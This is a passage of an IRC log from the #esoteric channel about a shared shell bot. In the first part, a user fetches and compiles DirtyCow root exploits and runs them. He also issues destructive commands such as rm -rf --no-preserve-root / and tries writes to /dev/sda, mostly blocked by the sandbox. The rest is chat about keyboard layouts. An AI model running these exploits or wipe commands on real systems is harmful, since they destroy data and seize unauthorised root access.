:`` echo "rm -rf --no-preserve-root /" | ./cowroot < 1477681857 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`echo ping < 1477681870 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :HackEgo smells ded < 1477681913 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`/bin/echo ping < 1477681923 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :oerjan, smells ded < 1477681927 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rm: cannot remove `/sys/fs/ext4/features/meta_bg_resize': Permission denied \ rm: cannot remove `/sys/fs/ext4/features/batched_discard': Permission denied \ rm: cannot remove `/sys/fs/ext4/features/lazy_itable_init': Permission denied \ rm: cannot remove `/sys/fs/cgroup': Permission denied \ rm: cannot remove `/sys/bus/cpu/devices/cpu0': Permission < 1477681946 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ping < 1477681947 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ping < 1477681949 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :moony_the_lycan: oh, it was just in a long locking computation < 1477681954 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :aww < 1477681955 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`ls < 1477681956 0 :imode!~imode@unaffiliated/imode QUIT :Ping timeout: 260 seconds < 1477681957 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477681959 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :looks like i tried and failes < 1477681970 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` rm -rf / < 1477681971 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rm: it is dangerous to operate recursively on `/' \ rm: use --no-preserve-root to override this failsafe < 1477681975 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` rm -rf ` < 1477681977 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file < 1477681977 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` rm -rf . < 1477681978 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rm: cannot remove directory: `.' < 1477681979 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` rm -rf ~ < 1477681980 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rm: cannot remove `/tmp': Permission denied < 1477681984 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477681985 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477681992 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :invinciego < 1477681993 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric ::p < 1477682007 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` echo "id" | ./cowroot < 1477682011 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :uid=5000 gid=658764 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped < 1477682039 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :gah i cannot load the repo browser < 1477682048 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`echo hi < 1477682048 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`url < 1477682049 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :hi < 1477682049 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/ < 1477682066 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :smells fishy < 1477682096 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`lastfiles < 1477682097 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cowroot < 1477682115 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`hoat < 1477682119 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :i THINK i might have killed the repo badly < 1477682119 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Initial import. \ addquote the allocation is done by the "Dynamic" in DRAM before that we used SRAM where everything was preallocated in the factory olsner: So what's this SDRAM then? fizzie: synchronized, it's for multithreading \ pastelogs treederwright \ pastelogs taneb.*d < 1477682124 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :oops < 1477682128 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`hoag < 1477682131 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ ` gcc -pthread cowroot.c -o cowroot \ fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c \ forget temperature \ slwd oxford//s/T/Oxford is t/ \ learn Temperature is measured in term < 1477682146 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :nothing registered after your compilation < 1477682162 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`learn Testing is always appropriate. < 1477682165 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Relearned 'testing': Testing is always appropriate. < 1477682168 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`? testing < 1477682168 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`hoag < 1477682169 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Testing is always appropriate. < 1477682169 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ learn Testing is always appropriate. \ ` gcc -pthread cowroot.c -o cowroot \ fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c \ forget temperature \ slwd oxford//s/T/Oxford is t/ \ .....;@.....@.......˜À..........@.8. .@.........@.......@.@.....@.@.....ø.......ø................. ...8......8@.....8@............................................@.......@.....̞......̞........ ............¸­......¸­`.....¸­`.....ð......p........ ...........Э......Э`.....Э`........................ .. < 1477682240 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :veery fishy < 1477682258 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :ACTION blames the elven hippies < 1477682342 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :oerjan, so you think it may have worked? < 1477682351 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`passwd < 1477682353 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :passwd: Cannot determine your user name. < 1477682397 0 :AnotherTest!~turingcom@ptr-2hj4tbos9tbg88a7mzqdh05zg.ip6.access.telenet.be QUIT :Ping timeout: 260 seconds < 1477682408 0 :zzo38!~zzo38@24-207-15-88.eastlink.ca JOIN :#esoteric < 1477682409 0 :AnotherTest!~turingcom@d51A4BF3B.access.telenet.be JOIN :#esoteric < 1477682436 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :zzo38, i MAY have done a thing hackego's systems dont like :p < 1477682452 0 :zzo38!~zzo38@24-207-15-88.eastlink.ca PRIVMSG #esoteric :What thing is that? < 1477682463 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ./cowroot < 1477682494 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.2$ < 1477682515 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` echo "ls /hackenv" |./cowroot < 1477682520 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ R < 1477682542 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ls /hackenv < 1477682543 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477682546 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :oh < 1477682564 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` echo "whoami" |./cowroot < 1477682567 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped < 1477682829 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is QUIT :Ping timeout: 268 seconds < 1477682942 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c < 1477682944 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :2016-10-28 18:28:07 URL:https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c [2826/2826] -> "dirtyc0w.c" [1] < 1477682971 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` gcc -ptrace dirtyc0w.c -o dirtyc0w < 1477682971 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :gcc: error: unrecognized command line option ‘-ptrace’ < 1477682987 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` gcc -pthread dirtyc0w.c -o dirtyc0w < 1477682990 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477683014 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` echo "this is a test" > foo; chmod 404 foo < 1477683016 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477683024 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ls -la foo < 1477683025 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​-r-----r-- 1 5000 0 15 Oct 28 18:29 foo < 1477683065 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :whats a root only file on hackego? :P < 1477683071 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` cat /dev/mem < 1477683071 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cat: /dev/mem: Permission denied < 1477683084 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ./dirtyc0w /dev/mem lel < 1477683103 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric ::) < 1477683115 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477683116 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ./dirtyc0w /dev/sda lel < 1477683125 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477683126 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477683146 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477683148 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477683149 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477683151 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :): < 1477683154 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1477683172 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :` echo "lel" > /dev/sda < 1477683173 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1477683176 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :` echo "lel" > /dev/sda1 < 1477683176 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1477683181 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric ::p < 1477683189 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :` echo "lel" < 1477683190 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1477683192 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric ::) < 1477683199 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :fizzie, its ded < 1477683203 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION sighs < 1477683207 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :moony_the_lycan: you're screwing up the syntax < 1477683209 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`` echo "lel" < 1477683210 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lel < 1477683216 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :oh < 1477683227 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :a lone ` would execute the command whose name is the null string < 1477683232 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which is not a valid filename on most OSes < 1477683238 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`` cat > '' < 1477683239 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/`: line 4: : No such file or directory < 1477683250 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although that's an interesting error message to get in that situation < 1477683255 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :` echo "lel" > /dev/sda1 < 1477683255 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1477683261 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` echo "lel" > /dev/sda1 < 1477683261 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/`: line 4: /dev/sda1: Read-only file system < 1477683270 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ./dirtyc0w /dev/sda1 lel < 1477683300 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477683303 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477683304 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477683327 0 :otherbot!?@? NICK :otterbot < 1477683464 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` rm -rf /hackenv < 1477683469 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :im bored :P < 1477683488 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rm: cannot remove `/hackenv/.hg/.branchheads.cache-2RY4L9': Read-only file system \ rm: cannot remove `/hackenv/.hg/store/dh/node-v0_/lib/node_mod/npm/node_mod/npm-regi/node_mod/couch-lo/package.json.aa673ea164dbf2e331c8c0d43ba31c9c6e4305a9.i': Read-only file system \ rm: cannot remove `/hackenv/.hg/store/dh/node-v0_/lib/node_mod/npm/node_mod/npm-r < 1477683533 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477683543 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477684472 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is JOIN :#esoteric < 1477684781 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`lastfiles < 1477684783 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :foo < 1477684797 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`hoag < 1477684797 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ ` echo "this is a test" > foo; chmod 404 foo \ ` gcc -pthread dirtyc0w.c -o dirtyc0w \ fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c \ learn Testing is always appropriate. \ ` gcc -pthread cowroot.c -o cowroot \ le/rn hoag/`[hd]o[aw][gt] [] is a set of commands for querying HackEgo logs. `hoag is the basic version. d adds dates, w looks only in wisdom, and t lists in reverse. \ 2016-10-27 le/rn hoag/`[hd]o[aw][gt] [] is a set of commands for querying HackEgo hg logs. `hoag is the basic version. d adds da < 1477686446 0 :doesthiswork!~Adium@207.55.82.224 QUIT :Quit: Leaving. < 1477686591 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :shachaf: ?o?? hth < 1477686599 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`` ls bin/?o?? < 1477686601 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin/doag \ bin/doat \ bin/dowg \ bin/dowt \ bin/good \ bin/hoag \ bin/hoat \ bin/howg \ bin/howt \ bin/pong \ bin/roll \ bin/rot0 \ bin/word < 1477686607 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: that doesn't cover hog, anyway < 1477686642 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`rot0 lol < 1477686643 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lol < 1477686651 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :thats a echo clone :P < 1477686656 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`cat bin/rot0 < 1477686657 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ELF............>.....¤@.....@.......€b..........@.8. .@.........@.......@.@.....@.@.....ø.......ø................. ...8......8@.....8@............................................@.......@.....”W......”W........ ............à]......à]`.....à]`.....°......`........ ...........ø]......ø]`.....ø]`.....à.......à.............. .. < 1477686659 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :oh < 1477686663 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :it literally IS echo < 1477686675 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`` ls -l bin/rot0 < 1477686676 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lrwxrwxrwx 1 5000 0 9 Oct 28 18:37 bin/rot0 -> /bin/echo < 1477686680 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :literally literally < 1477686701 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :oerjan, shall i remove it for being useless? (jk) < 1477686705 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`pong < 1477686705 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :pung < 1477686706 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`rot0 -n < 1477686707 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477686712 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :BUG < 1477686716 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`rot0 -n lol < 1477686716 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​-n lol < 1477686728 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` rot0 -n lol < 1477686729 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lol < 1477686737 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :can you stop catting binary files in the channel twh < 1477686742 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`echo -n < 1477686743 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477686749 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :shachaf, sorry < 1477686754 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :i didnt check if it was a binary < 1477687073 0 :keemyb!keemyb@gateway/shell/fnordserver.eu/x-uefnrmbdlucnxxwr JOIN :#esoteric < 1477687694 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 JOIN :#esoteric < 1477687829 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :I have a stupid question about computers history. < 1477687947 0 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i have a useless answer < 1477688010 0 :olsner!~salparot@c80-217-126-39.bredband.comhem.se PRIVMSG #esoteric :history is the past, why would you have a question about it? < 1477688066 0 :otterbot!~yaybot@unaffiliated/jeffl35/bot/jeffbot QUIT :Read error: Connection reset by peer < 1477688086 0 :otherbot!~yaybot@unaffiliated/jeffl35/bot/jeffbot JOIN :#esoteric < 1477688087 0 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why would you ask meta questions? < 1477688135 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :You know how some older computers had keyboards where most of the ascii punctuation was bit-paired like god intended, namely the digit-punctuation pairs ;* :+ -= are on the same keys accessed with shift, and the lowercase-uppercase pairs `@ ~^ are on the same keys acessed with shift. < 1477688150 0 :olsner!~salparot@c80-217-126-39.bredband.comhem.se PRIVMSG #esoteric :myname: is that a rhetorical question? is this? < 1477688166 0 :zzo38!~zzo38@24-207-15-88.eastlink.ca PRIVMSG #esoteric :Yes, Famicom keyboard does that (although Famicom keyboard has no lowercase) < 1477688200 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :But on today's computers, the US english layout is very well spread, where 2@ 6^ 7& ;: += `~ etc are paired. < 1477688248 0 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :because typing for humans is more important than bitpaired keys? < 1477688251 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :My question is, did this current US English layout got so much spread it's now universal when the IBM PC got real popular (most of it has this layout in its ROM) and everyone started cloning it, or was it already universal before that? < 1477688459 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1477688465 0 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ijd guess bitpairing only was done because it was cheap and easy < 1477688518 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :myname: well sure, but it's also the way keyboards should work. except for the space bar, because shift-space emitting space is very useful. < 1477688548 0 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why "should" it work like this? < 1477688561 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :But even if you're not bitpairing, I'd like to understand how this particular layout spread so much. < 1477688571 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :There are a lots of other possible bit-pairing layouts. < 1477688585 0 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :are those qwerty? < 1477688587 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Like, who the heck put the ampersand on the number 7 instead of 6? < 1477688598 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :No, I mean < 1477688602 0 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why not? < 1477688606 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :There are a lot of other possible non-bit-pairing layouts. < 1477688613 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Why is everyone copying this one? < 1477688757 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION has ampersand on the number 6 key, anyway < 1477688808 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: what layout is that? < 1477688816 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :norwegian < 1477688823 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :somehow I should have guessed that < 1477688841 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :is it missing any keys that are on a US keyboard? or does it use a different arrangement, e.g. putting many of them on altgr? < 1477688852 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :err, I should say missing any characters < 1477688857 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :obviously it's missing a 7& key :-P < 1477688871 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :the UK keyboard also has a really strange arrangement. it uses the 102 key base, and has two extra characters, but also pairs "@ iirc < 1477688871 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :lots on altgr, e.g. {[]} < 1477688888 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :but at least it pairs ~^ properly I think < 1477688898 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 